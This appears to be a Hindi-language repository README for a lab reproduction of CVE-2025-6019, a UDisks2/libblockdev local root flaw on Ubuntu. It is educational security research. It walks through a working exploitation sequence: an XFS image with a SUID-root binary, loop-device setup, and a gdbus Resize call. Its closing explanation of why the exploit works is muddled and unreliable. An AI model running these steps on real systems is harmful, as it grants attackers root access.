CVE-2025-6019 – UDisks2 ResizeFilesystem भेद्यता (शैक्षणिक पुनरुत्पादन)

यह रिपॉजिटरी एक नियंत्रित प्रयोगशाला वातावरण (उबंटू वर्चुअल मशीन, गैर-उत्पादन) में किए गए CVE-2025-6019 के शैक्षणिक पुनरुत्पादन का दस्तावेजीकरण करती है।

🛡️ सुरक्षा सूचना

यह शोध CVE-2025-6019 को एक सैंडबॉक्स किए गए उबंटू वातावरण में पुनरुत्पादित करता है ताकि UDisks2 भेद्यता के मूल कारण और शमन का विश्लेषण किया जा सके।
सभी परिणाम जिम्मेदारी से साझा किए गए हैं और जागरूकता और पैच अपनाने में सहायता करने का लक्ष्य रखते हैं।
यदि आप एक विक्रेता या अनुरक्षक हैं, तो कृपया सुनिश्चित करें कि आपके सिस्टम में नवीनतम सुरक्षा अद्यतन हों।

परिचय

यह CVE भेद्यता लिनक्स सिस्टम में एक प्रकार का स्थानीय विशेषाधिकार वृद्धि (Local Privilege Escalation) है जो लिनक्स फाइलसिस्टम प्रबंधन घटकों के बीच अपर्याप्त रूप से समन्वित अंतःक्रियाओं से उत्पन्न होती है, जो इस मामले में udisk/udisk2, libblockdev और Polkit हैं। यह बग एक स्थानीय उपयोगकर्ता (गैर-विशेषाधिकार प्राप्त हमलावर) को रूट के स्वामित्व वाली और SUID बिट सेट की गई फ़ाइलों वाली एक दुर्भावनापूर्ण फाइलसिस्टम छवि को माउंट करने, उस छवि से एक SUID-रूट बाइनरी निष्पादित करने और अंततः होस्ट का पूर्ण नियंत्रण प्राप्त करने की अनुमति देता है।

कैसे शोषण करें

चरण 1: वातावरण सेटअप

यह शोषण उबंटू 20.04.6 वर्चुअल मशीन पर किया गया है।
सभी परीक्षण एक पृथक स्थानीय वर्चुअल मशीन में निष्पादित किए गए हैं, और किसी भी नेटवर्क कनेक्शन या विनाशकारी पेलोड का उपयोग नहीं किया गया है। लक्ष्य केवल सुरक्षित परिस्थितियों में विशेषाधिकार परिवर्तनों का निरीक्षण करना और भेद्यता को सत्यापित करना है।

इस रिपॉजिटरी को क्लोन करें, सुनिश्चित करें कि आपके पास check_root.c और exploit_helper.sh फ़ाइलें हैं

~$ gcc check_root.c -o check_root

udisk2 और libblockdev संस्करण की जाँच करना:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# अपेक्षित परिणाम: libblockdev संस्करण 2.23-2ubuntu3 और udisk2 संस्करण 2.8.4-1ubuntu2  

चरण 2: पेलोड तैयारी (हमलावर मशीन)

ध्यान दें कि लक्ष्य कोई विनाशकारी प्रोग्राम बनाना नहीं है।
check_root.c एक हानिरहित परीक्षण प्रोग्राम है जो निष्पादित होने पर केवल अपना वास्तविक UID और प्रभावी UID प्रिंट करता है (getuid() और geteuid() फ़ंक्शन द्वारा) लेकिन यदि हम इसे एक दुर्भावनापूर्ण बाइनरी से बदल दें, तो सिस्टम क्षतिग्रस्त हो सकता है।

इमेज फ़ाइल बनाएँ:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

check_root को इमेज में कॉपी करें और SUID फ़्लैग प्रदान करें:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# अपेक्षित: कोई परिणाम वापस नहीं आना चाहिए।

यदि आप देखते हैं कि इमेज अभी भी माउंटेड है, तो इसे अनमाउंट करें। इस चरण के बाद, हमारे पास एक दुर्भावनापूर्ण इमेज है जिसमें एक दुर्भावनापूर्ण फ़ाइल (check_root.c), SUID फ़्लैग और मेटाडेटा में रूट स्वामी शामिल है।
ध्यान दें कि लिनक्स मशीनों के बीच फ़ाइल कॉपी करते समय यह मेटाडेटा सुसंगत बना रहता है, और लिनक्स "nosuid" द्वारा संरक्षित है, जो इस परिदृश्य में प्रभावित नहीं होगा।

चरण 3: शोषण (लक्ष्य मशीन पर)

यह चरण इमेज को लक्ष्य मशीन में मैप करेगा और फिर उसके अंदर दुर्भावनापूर्ण फ़ाइल को निष्पादित करेगा, यह कार्रवाई एक दुर्भावनापूर्ण USB को लिनक्स मशीन में प्लग करने के समान है।

~$ losetup
# जाँचें कि कौन से /dev/loop* उपकरण उपयोग में हैं और एक नया बनाएं और चरण 2 में बनाई गई दुर्भावनापूर्ण इमेज के साथ माउंट करें। उदाहरण के लिए, यदि आप /dev/loop1-8 देखते हैं, तो /dev/loop9 बनाएँ:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
# अपेक्षित: /org/freedesktop/UDisks2/block_devices/loop9
पूर्व जाँच: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
# अपेक्षित: कोई परिणाम वापस नहीं आना चाहिए

exploit_helper फ़ाइल निष्पादित करें:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

एक दूसरा टर्मिनल खोलें और एक D-Bus अनुरोध भेजें जो सिस्टम (UDisks2) से प्रस्तुत ब्लॉक डिवाइस का आकार बदलने के लिए कहे।

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
# अपेक्षित: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

शोषण टर्मिनल की जाँच करना: सफलता

सफलता क्यों: जब इमेज को losetup के साथ मैन्युअल रूप से मैप किया गया और फिर मैन्युअल रूप से माउंट किया गया (यहां तक कि एक सिस्टम पर जहां udisksd मौजूद है), तो माउंट विभिन्न संदर्भों और विभिन्न विकल्पों और जीवनचक्र शब्दार्थ के साथ किया गया था। इस परिदृश्य में, फाइलसिस्टम udisksd-लागू सुरक्षा फ़्लैग के साथ माउंट नहीं किया गया था, इसलिए इमेज के अंदर setuid बाइनरी प्रभावी हो सकी और शोषण चरण सफल हुआ।

उबंटू सुरक्षा टीम ने पहले ही CVE-2025-6019 को संबोधित करते हुए UDisks2 के पैच किए गए संस्करण जारी कर दिए हैं।

⚠️ अस्वीकरण
यह रिपॉजिटरी केवल शैक्षणिक उपयोग के लिए है।
वास्तविक सिस्टम पर हमला करने या संशोधित करने के लिए इस सामग्री के किसी भी भाग का उपयोग न करें।
लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।